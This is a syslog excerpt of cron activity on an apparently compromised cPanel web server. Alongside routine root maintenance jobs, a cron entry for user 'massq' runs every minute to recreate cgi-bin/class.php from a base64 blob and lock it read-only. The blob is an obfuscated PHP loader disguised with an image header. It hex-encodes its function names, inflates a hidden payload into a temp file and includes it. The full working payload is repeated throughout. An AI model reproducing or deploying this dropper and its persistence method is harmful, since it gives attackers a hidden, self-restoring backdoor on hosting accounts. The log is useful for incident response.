Sep  3 17:53:01 server CROND[25443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:53:01 server CROND[25444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:53:01 server CROND[25445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:54:01 server CROND[25806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:54:01 server CROND[25807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:54:01 server CROND[25808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:55:01 server CROND[26289]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 17:55:01 server CROND[26292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:55:01 server CROND[26291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:55:01 server CROND[26295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:55:01 server CROND[26293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:55:01 server CROND[26294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:55:01 server CROND[26296]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 17:56:01 server CROND[27110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:56:01 server CROND[27111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:56:01 server CROND[27112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:57:01 server CROND[27491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:57:01 server CROND[27492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:57:01 server CROND[27493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:57:01 server CROND[27495]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 17:58:01 server CROND[27862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:58:01 server CROND[27863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:58:01 server CROND[27864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:59:01 server CROND[28236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:59:01 server CROND[28237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:59:01 server CROND[28235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:00:01 server CROND[28719]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 18:00:01 server CROND[28720]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 18:00:01 server CROND[28723]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 18:00:01 server CROND[28726]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:00:01 server CROND[28730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:00:01 server CROND[28731]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 18:00:01 server CROND[28732]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:00:01 server CROND[28734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:00:01 server CROND[28735]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 18:00:01 server CROND[28733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:01:01 server CROND[29592]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 18:01:01 server CROND[29591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:01:01 server CROND[29594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:01:01 server CROND[29593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:01:01 server run-parts(/etc/cron.hourly)[29592]: starting 0anacron
Sep  3 18:01:01 server run-parts(/etc/cron.hourly)[29613]: finished 0anacron
Sep  3 18:02:01 server CROND[29984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:02:01 server CROND[29985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:02:01 server CROND[29986]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:03:01 server CROND[30358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:03:01 server CROND[30360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:03:01 server CROND[30361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:04:01 server CROND[30737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:04:01 server CROND[30738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:04:01 server CROND[30739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:05:01 server CROND[31119]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
